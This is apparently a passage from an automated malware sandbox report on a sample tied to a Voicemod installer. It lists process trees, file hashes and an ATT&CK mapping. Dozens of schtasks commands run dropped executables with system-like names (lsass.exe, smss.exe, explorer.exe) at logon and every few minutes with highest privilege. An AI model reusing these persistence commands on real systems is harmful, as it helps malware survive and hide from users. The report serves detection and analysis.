schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Videos\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Public\Videos\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Videos\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\Default User\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Windows\Help\en-US\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Windows\Help\en-US\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 14 /tr "'C:\Windows\Help\en-US\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Windows\L2Schemas\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2804

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\L2Schemas\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Windows\L2Schemas\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\All Users\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\odt\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\odt\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\odt\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Windows\SysWOW64\vi-VN\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\SysWOW64\vi-VN\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Windows\SysWOW64\vi-VN\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\odt\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\odt\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\odt\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:576

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4056

C:\Program Files\Google\Chrome\ChromeUpdate.exe
"C:\Program Files\Google\Chrome\ChromeUpdate.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:1620

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,Control_RunDLL C:\Windows\System32\srchadmin.dll ,
1⤵
PID:4948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:3096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:4564
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{69a37706-653f-6142-955d-e343da9d1c98}\vmdrv.inf" "9" "499a51a03" "0000000000000154" "WinSta0\Default" "0000000000000164" "208" "c:\program files\voicemod desktop\driver"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Modifies data under HKEY_USERS
  PID:4712
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\MEDIA\0000" "C:\Windows\INF\oem3.inf" "oem3.inf:ed86ca11e5016dc2:VOICEMOD_Driver:2020.9.25.0:*vmdriver," "499a51a03" "0000000000000160" "dc2e"
  2⤵
  - Drops file in Drivers directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:4628

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000002E8 0x000000000000050C
1⤵
PID:456

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
PID:4836
- C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
  "C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe" "voicemod:close&origin=installer"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2688
- - C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
    "C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe" --type=gpu-process --field-trial-handle=128516,16644639827516936119,9060518807033577795,131072 --no-sandbox --disable-gpu-vsync=1 --log-file="C:\Program Files\Voicemod Desktop\debug.log" --log-severity=disable --lang=en-US --cefsharpexitsub --gpu-preferences=KAAAAAAAAACAAwAAAQAAAAAAAAAAAGAAAAAAAAEAAAAIAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAFAAAAEAAAAAAAAAAAAAAABgAAABAAAAAAAAAAAQAAAAUAAAAQAAAAAAAAAAEAAAAGAAAA --use-gl=swiftshader-webgl --log-file="C:\Program Files\Voicemod Desktop\debug.log" --service-request-channel-token=10929905060164038856 --mojo-platform-channel-handle=6700 /prefetch:2 --host-process-id=2688 --custom-scheme=resource|T|F|F|T|T|F;resx|T|F|F|T|T|F;fmeme|T|F|F|T|T|F;fvlabvoice|T|F|F|T|T|F;fcorevoice|T|F|F|T|T|F
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies registry class
    PID:1736
- - C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
    "C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe" --type=renderer --no-sandbox --log-file="C:\Program Files\Voicemod Desktop\debug.log" --field-trial-handle=128516,16644639827516936119,9060518807033577795,131072 --disable-gpu-compositing --service-pipe-token=16737612554429176767 --lang=en-US --log-file="C:\Program Files\Voicemod Desktop\debug.log" --log-severity=disable --enable-system-flash=1 --cefsharpexitsub --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --service-request-channel-token=16737612554429176767 --renderer-client-id=3 --mojo-platform-channel-handle=41416 /prefetch:1 --host-process-id=2688 --custom-scheme=resource|T|F|F|T|T|F;resx|T|F|F|T|T|F;fmeme|T|F|F|T|T|F;fvlabvoice|T|F|F|T|T|F;fcorevoice|T|F|F|T|T|F
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1144

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe
"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe"
1⤵
- Executes dropped EXE
PID:4648

C:\Users\All Users\smss.exe
"C:\Users\All Users\smss.exe"
1⤵
- Executes dropped EXE
PID:560

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
1⤵
PID:1700

C:\Windows\SysWOW64\vi-VN\wininit.exe
C:\Windows\SysWOW64\vi-VN\wininit.exe
1⤵
- Executes dropped EXE
PID:3680

C:\odt\System.exe
C:\odt\System.exe
1⤵
- Executes dropped EXE
PID:5004

C:\Windows\L2Schemas\lsass.exe
C:\Windows\L2Schemas\lsass.exe
1⤵
- Executes dropped EXE
PID:828

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe
"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe"
1⤵
- Executes dropped EXE
PID:692

C:\Users\All Users\smss.exe
"C:\Users\All Users\smss.exe"
1⤵
- Executes dropped EXE
PID:864

C:\Windows\Help\en-US\sysmon.exe
C:\Windows\Help\en-US\sysmon.exe
1⤵
- Executes dropped EXE
PID:4120

C:\odt\explorer.exe
C:\odt\explorer.exe
1⤵
- Executes dropped EXE
PID:4352

C:\Windows\SysWOW64\vi-VN\wininit.exe
C:\Windows\SysWOW64\vi-VN\wininit.exe
1⤵
- Executes dropped EXE
PID:4896

C:\odt\System.exe
C:\odt\System.exe
1⤵
- Executes dropped EXE
PID:4392

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe
"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe"
1⤵
- Executes dropped EXE
PID:4792

C:\Windows\L2Schemas\lsass.exe
C:\Windows\L2Schemas\lsass.exe
1⤵
- Executes dropped EXE
PID:2312

C:\Users\All Users\smss.exe
"C:\Users\All Users\smss.exe"
1⤵
- Executes dropped EXE
PID:2720

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe
"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\cmd.exe"
1⤵
- Executes dropped EXE
PID:1768

C:\Users\All Users\smss.exe
"C:\Users\All Users\smss.exe"
1⤵
- Executes dropped EXE
PID:3112

C:\Windows\SysWOW64\vi-VN\wininit.exe
C:\Windows\SysWOW64\vi-VN\wininit.exe
1⤵
- Executes dropped EXE
PID:4420

C:\odt\System.exe
C:\odt\System.exe
1⤵
- Executes dropped EXE
PID:4140

C:\Windows\L2Schemas\lsass.exe
C:\Windows\L2Schemas\lsass.exe
1⤵
- Executes dropped EXE
PID:4884

C:\Windows\Help\en-US\sysmon.exe
C:\Windows\Help\en-US\sysmon.exe
1⤵
- Executes dropped EXE
PID:3980

C:\odt\explorer.exe
C:\odt\explorer.exe
1⤵
- Executes dropped EXE
PID:5028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

ChromeUpdate.exe

Path C:\Program Files\Google\Chrome\ChromeUpdate.exe
Size 4.5MB
SHA256 3c2fdd915ec1aab1b3262916f7c61d05a9d9c006c8bcefe7d7c1e6f4e6690df9
MD5 3329dfcd5bf2187367e181e950f31161
SHA1 ebdeb27dee3c3d6e3e5e269354dc4a1f2357b8d6
SHA512 712bafae57b6b4660841afe7311c6664be65b47afe4232be50e35304f04d0fcd6dd7694cc67a6809bdf010d96d09bd46a45841c69ad882676a607a600c8b43a1
SSDEEP 98304:ZAZKfNnkwSxqkqBlqRul6emqnEq/nrrcwNzSVW9l71yWU1a4tnO7wI2fgO1P:ZAwfNkXqkqBlRl6emqnEarrxNzSVWvcF
MD5 SHA1 SHA512 SSDEEP

Submit Download

AutoUpdater.NET.dll

Path C:\Program Files\Voicemod Desktop\AutoUpdater.NET.dll
Size 405KB
SHA256 4afa1ef0f2df936fe2ff026d73b9630cff0d567cb66e3e09ed94783c0d3a054e
MD5 07809155502ca460862d6c3cd554200d
SHA1 a648d3dceaa0dab29bdeb3b08cfcc05b816dd28a
SHA512 6314679bab44ac165e77689ee8265f3687b8e7636a0b0fc688fc1b4581ba376c612e8d117dc50e8ae447a36e161167fa4b7d3365e9b92cc7d80f56a8b57d0e08
SSDEEP 6144:0l59QMLV6yu76jThLN2hWazE0a1nGEG2hJ7yvby/Ec8:S9QPZ6jTdNs/
MD5 SHA1 SHA512 SSDEEP

Submit Download

CefSharp.WinForms.dll

Path C:\Program Files\Voicemod Desktop\CefSharp.WinForms.dll
Size 26KB
SHA256 6b007d59cb09c077e94bc32ee74b3ff03af07422dd50b40d2cf39573140022fc
MD5 b8ee3de827c9828bfc4ce2d1232110a5
SHA1 0a017aab404c48f9f11b3e7e0a29e0c558e8cccc
SHA512 13dda00459d9fa07d8123a5b100d9ec1b046e470d978e37a769308424c3986bfdcee5515cd32fd7b14b8eee3e9ab4ded1f0ae5939522926bf7a82daeb914123b
SSDEEP 384:gm4S9ibpeqJMPqvdiov7ACXrnDdUELTlSlV8115pQzmPAm/4Wa9:g3pe4MPqN7zDyk57V/Na9
MD5 SHA1 SHA512 SSDEEP

Submit Download

Microsoft.Extensions.Logging.Abstractions.dll

Path C:\Program Files\Voicemod Desktop\Microsoft.Extensions.Logging.Abstractions.dll
Size 47KB
SHA256 ce4721eb7591c77ec23650c079c25730bc9e4f2af440ed0ce913258151434cda
MD5 fa43b31fac519d4537325b2d77595c3f
SHA1 dc3c0912d2275684a95816401f63e155fe2b5ed1
SHA512 e9e050ec7bd310ce3c5c13ac7f3849dd96ee34ca68a91956b956eef6c228a23d790736d05f07562b039a888471f823107d11384e72e172f505192964680335f4
SSDEEP 768:YoodqqiKSspOLEJ13avFuitiPiXGydvQmwBjwu:YvdqqiKS1QJ5a9tt6KQmwBEu
MD5 SHA1 SHA512 SSDEEP

Submit Download

Microsoft.Extensions.Logging.dll

Path C:\Program Files\Voicemod Desktop\Microsoft.Extensions.Logging.dll
Size 31KB
SHA256 9cb78661a77fbbae56de368f018ac9b06e6a171dab37e49091ac4abc4a3d1126
MD5 b7f13cb30356dbe3e3bf7c01e2d8c7b1
SHA1 712900d638167a85017ab7f99119964d84e0a39f
SHA512 6df9337d590adb72df002cd64005a59f60ba064b2ae2d207559f0b43c9c8978ae75b22115556f0f4e7567b7b7862b99fe069ec92b3c98752623636bea92d1bb5
SSDEEP 768:KhATzquC707zKCROqI8sNBvSWWh4KU2Borgw:KhAquC7qzKCZINNBvsU2Bo8w
MD5 SHA1 SHA512 SSDEEP

Submit Download

NAudio.Vorbis.dll

Path C:\Program Files\Voicemod Desktop\NAudio.Vorbis.dll
Size 14KB
SHA256 ca4cceb6a39d5b511abb897d8bd3c1de6921cf8a284da73be2f7ba79ac377b92
MD5 7721decf5f28e1470d40b912b2253779
SHA1 04536a984d29ad5bb1939ab83a1c5eea501f2670
SHA512 2aa81e5a800f804ecbb206cbd2807d4a1987341dd211f8c493b6d5873e7d3d35f4db8c27b4d67631c592861eb3fa05037ea93d02585870e6354054df687af076
SSDEEP 192:uhAGlJjPV0boevPGdlDHNBSUr8l/vl8Bsgv7/pgkd91kCI0WVYWnYm3LZfS7+/:uhLlN9eWdlZBS3XrgvzukIH2Io
MD5 SHA1 SHA512 SSDEEP

Submit Download

NAudio.dll

Path C:\Program Files\Voicemod Desktop\NAudio.dll
Size 501KB
SHA256 bc4bacc3b8b28d898f1671b79f216cca439f95eb60cd32d3e3ecafbecac42780
MD5 047bca47d9d12191811fb2e87cded3aa
SHA1 afdc5d27fb919d1d813e6a07466f889dbc8c6677
SHA512 99505644d42e4c60c977e4144165ea9dea8f1301e6456aa809e046ecc84a3813a190ce65169a6ffef5a36ad3541ec91002615a02933f8deb642aa3f8f3b11f2f
SSDEEP 12288:YnfnRe200wJT4WQ+NOStYVlJHMGwH7fu:ODIrQ+NOS2HMGwHT
MD5 SHA1 SHA512 SSDEEP

Submit Download

NLog.Extensions.Logging.dll

Path C:\Program Files\Voicemod Desktop\NLog.Extensions.Logging.dll
Size 44KB
SHA256 544aa327ea022e6a8046f2c2fbc822714415aed716f1f0ec37cc707043cd58cb
MD5 95e7f2457da5b9e710dac09740c16463
SHA1 1e81f71d1b69951517eae13cf5e96acd28faeb99
SHA512 97b14ee4d1fffa4331ae911ddeb0dd4e2b8eb5db10f3d2ddd8a7a3b562a0110c5be19a72b3365d4f12b5b2543a9ce323143dc4a349c0481c93cf1c56e19bb5fa
SSDEEP 768:zjwx8j4xcaCPlqxXukpnlMyYm8EQxxlq7kaz:zWCPQxXukpnoAYxEwaz
MD5 SHA1 SHA512 SSDEEP

Submit Download

NLog.Web.AspNetCore.dll

Path C:\Program Files\Voicemod Desktop\NLog.Web.AspNetCore.dll
Size 42KB
SHA256 4442104e5a3620b5e927b50c02325d4a2f873851ce73bd063b7e17f2a344bc2f
MD5 ec154043dd58f7834eeb093bc4d0d7d3
SHA1 052f320731f3f35dd10de4149b27f0c8437a21d2
SHA512 2cac794852cb182004fc01f7061563dc8512c60591e67249e7aa9f4fb4282dc71142ae36a371daad32fba719a119055886ec8a63c31dacf0fc8eaaf7551d0513
SSDEEP 768:cmvOuwGhG3cx68HmuN5NEV2NzungMqBK+MHN98sOYFUsTLMB1z47FrH0P3:cuE3cxRHpEwNzZBKbnMB54tU/
MD5 SHA1 SHA512 SSDEEP

Submit Download

NLog.dll

Path C:\Program Files\Voicemod Desktop\NLog.dll
Size 818KB
SHA256 08f1f52716216fdbf4e918c88bedd87c13d06d914e4f39673f2528237638107c
MD5 b70274014c925937f0f2e79de6a17615
SHA1 f0c7f4d5f977c99a3205ee5c1c8c838ba4a81bce
SHA512 7cb67d07c136f48231da2a2fdcb7f93e8a63a391d09ceb56c12287b93a58e3fe9117313da4578f2225b178adb2bb5e0bf8d75d076c79be7823ccd42389f5dfdf
SSDEEP 12288:1LNPjDtPnj13/PvaDh3sc1ZE2haZ9kyxWHSIquooUsQ:1LNPjDtPnj13/PvY3sc8ZxWHBooUsQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Newtonsoft.Json.dll

Path C:\Program Files\Voicemod Desktop\Newtonsoft.Json.dll
Size 659KB
SHA256 3598cccad5b535fea6f93662107a4183bfd6167bf1d0f80260436093edc2e3af
MD5 4df6c8781e70c3a4912b5be796e6d337
SHA1 cbc510520fcd85dbc1c82b02e82040702aca9b79
SHA512 964d9813e4d11e1e603e0a9627885c52034b088d0b0dfa5ac0043c27df204e621a2a654445f440ae318e15b1c5fea5c469da9e6a7350a787fef9edf6f0418e5c
SSDEEP 12288:rktg1lrjC8rjICqbwNjR4xq7iiX19K7Df/SoOKQrIB+jfP:rggD7PIEjR4xq7iiXTK7D3So9AIB+jn
MD5 SHA1 SHA512 SSDEEP

Submit Download

Sentry.Protocol.dll

Path C:\Program Files\Voicemod Desktop\Sentry.Protocol.dll
Size 49KB
SHA256 60857310276b69557d2596356f78b53b74f8ff8a905bcc5ac57b84b2fddc064d
MD5 c3b6084fb4a7ad53d42b6301bd19ac43
SHA1 8b528d371629c1aa1a31d35d7a257813a90b6846
SHA512 63e37c164561fbc9136244b1cf7c581fc4fa277ed5b24f9b767c126970740e358e340ba2609bc7f10523b48eaf3bb873fc4ce01094d039e43110263817c4b964
SSDEEP 768:5Ec0ta+ZgfmQ247Tet0k6n9pXAVePMECgCdMMWq3fOsD6hl9:5Ec05ZaTeik69pwwCltfwhl9
MD5 SHA1 SHA512 SSDEEP

Submit Download

Sentry.dll

Path C:\Program Files\Voicemod Desktop\Sentry.dll
Size 86KB
SHA256 4890f2bed66f98c4edef6174a9500a3b13d5a5419204003507468b45e946582d
MD5 a3571d57212d66885f7e19ca16c76d19
SHA1 32017244672e20e5e99d35aa05907f835f1246ae
SHA512 317bb735044b78603f8b2ec750ed98e240ba3eeca8f36fefe47af06b15975f402b6f5852ba8c5b8b345475ab3bdd9dc3faef17669a17fd028f0b9b1655dd67f5
SSDEEP 1536:+ue37hNT6B4hno1LauL2K87jxIFYIx3ffRkNc+NxNrFaB:SNT6BbLJ2+nBfZkNjN7rF0
MD5 SHA1 SHA512 SSDEEP

Submit Download

SimpleInjector.dll

Path C:\Program Files\Voicemod Desktop\SimpleInjector.dll
Size 400KB
SHA256 0414c6cc3fe30f6baf019e30148a6c841358b6f3ab570b4419812eb7350b6a19
MD5 799368d49236de4022d232fbb6a4de38
SHA1 3e3181dcfc62a9067a0265385a6cd5e228626ce7
SHA512 9bb4b681cacd1c1361080fd3e768ea524a11fd284ea9795e04a5173e1ff326bda17c18debd26bd146f19eaebdd10f6c275fe0b2dfce88b601e9c9a2bb9fa91f8
SSDEEP 6144:1gFs+D5tE9vTPjMGKktC3hWg0D8ObHCmNA4CDGaygNKD14t:6Fs+WL03Z0vAhqayI
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.Collections.Immutable.dll

Path C:\Program Files\Voicemod Desktop\System.Collections.Immutable.dll
Size 295KB
SHA256 2f05a2c489c2d30a6cca346d4ce184323d70eb4f5afa6bed34d5800274444e57
MD5 d8203aedaabeac1e606cd0e2af397d01
SHA1 eef943e4369166a039dee90f2d81504613d49ca0
SHA512 ce09543cbb799db65c71ea9d050cef99d702d9af0cc4c7e346f97f616b091d0ab9a211197caf7fd5a53af1ba6ce913b2b121499d36cd43b499fd201376f4f3d6
SSDEEP 6144:UgQflmXU2jFqgqXf3sHwcmtpAGb2Fwz5UcEUcsoJ:nQflEf2yEXbs7cNc7J
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.ValueTuple.dll

Path C:\Program Files\Voicemod Desktop\System.ValueTuple.dll
Size 24KB
SHA256 e905d102585b22c6df04f219af5cbdbfa7bc165979e9788b62df6dcc165e10f4
MD5 23ee4302e85013a1eb4324c414d561d5
SHA1 d1664731719e85aad7a2273685d77feb0204ec98
SHA512 6b223ce7f580a40a8864a762e3d5cccf1d34a554847787551e8a5d4d05d7f7a5f116f2de8a1c793f327a64d23570228c6e3648a541dd52f93d58f8f243591e32
SSDEEP 384:VyPa16oAL4D+wW9IWmDIW4IWYDMFm0GftpBjMIraQHRN7VlmTpF0:VWs6oqDjADKeDYViG+LN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Voicemod.VoicemodDesktop.UI.dll

Path C:\Program Files\Voicemod Desktop\Voicemod.VoicemodDesktop.UI.dll
Size 19.3MB
SHA256 9908c60efe2d8dd716e6654ea09e8a19ffce21273aeaa239473c549500479ba4
MD5 948fa7c2a1fc375157bde5d8d44fe162
SHA1 9ed97ef0eb84d52bb5dd0b2343c9deac4bc2b1e9
SHA512 fdafba662dce2b913d29ebd1d9b80eb41c4c8a1b09444c1275052fc436079dbdb4dc6a3a8021eff0768767bd9c8efba789a865a9e814299478840d12797354c8
SSDEEP 196608:15MMiGOLQwKoGw5eVXF1/BjQBNaRXFKqUxgr4h4AfzyU:bMMizKoGw5eRwaRXFKqUxgr4h4AfzyU
MD5 SHA1 SHA512 SSDEEP

Submit Download

Voicemod.VoicemodDesktop.UI.dll

Path C:\Program Files\Voicemod Desktop\Voicemod.VoicemodDesktop.UI.dll
Size 3.9MB
SHA256 09cf940c047f30cb347acb293af4a2dc59236a74703feeb21a3e04ec1fc81807
MD5 5e3726ed4cce3e863e42e314e0ecf76f
SHA1 8010027d4a905a6e783723c716b6a9b108edc5f5
SHA512 88f6fd2165148d902deac2fb40b683a2360f2958567800feb8fd7395c604ea34e5d1db4fbcaca5e1e3b506c289fd008d98b915a5063a593e17cb74dd274ed1ea
SSDEEP 49152:6yj4M7dAgYdAgYdAgiifNdcPG05QNGO8KpQzRSpVD6xQCt7mOHHow0RLH6XAyu9/:P9RzSzSzi4NuPLQ78KoRSXUlHH50FHLh
MD5 SHA1 SHA512 SSDEEP

Submit Download

Voicemod.Websockets.Fleck.dll

Path C:\Program Files\Voicemod Desktop\Voicemod.Websockets.Fleck.dll
Size 80KB
SHA256 138e544e27ee059ffef19809c54f48076a0ddb29410549b658b3aa67a18d153e
MD5 aa81651105606461eb63db6d423fb2c7
SHA1 c748d7a703df483a99f2d434d1a45fb3d285b4c7
SHA512 1118a9b1090ff72fd15b269eae7f0d8085ef624fd34318f5c4499dcbae37531081c8060182cf37ca9e114c05eafdbbfb8477cf1ba2a88225106d587caf141541
SSDEEP 1536:FQpUaJ2n9Kta9e2yrzpJgJwiAx5CSEJD:CWx42yfp+JwrtEl
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodDesktop.exe

Path C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
Size 4.9MB
SHA256 fb737bdab9bf40f95dc999adc48cca3855fea1290c4bf51629f0298660f92cee
